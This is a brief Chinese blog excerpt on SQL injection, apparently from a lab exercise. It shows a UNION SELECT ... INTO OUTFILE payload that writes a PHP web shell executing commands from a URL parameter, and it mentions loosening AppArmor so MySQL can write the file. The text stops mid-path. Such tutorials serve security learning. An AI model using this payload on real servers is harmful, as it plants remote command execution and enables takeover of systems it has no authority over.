web安全：sql 注入

sql注入获取webshell 寻找sql注入页面，操作数据库的地方 向网站写入sql语句 ' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php' 发现mysql没有写入权限，于是在apparmor中为mysql添加权限 vi /etc/apparmor.d/usr.sbin

>>阅读原文<<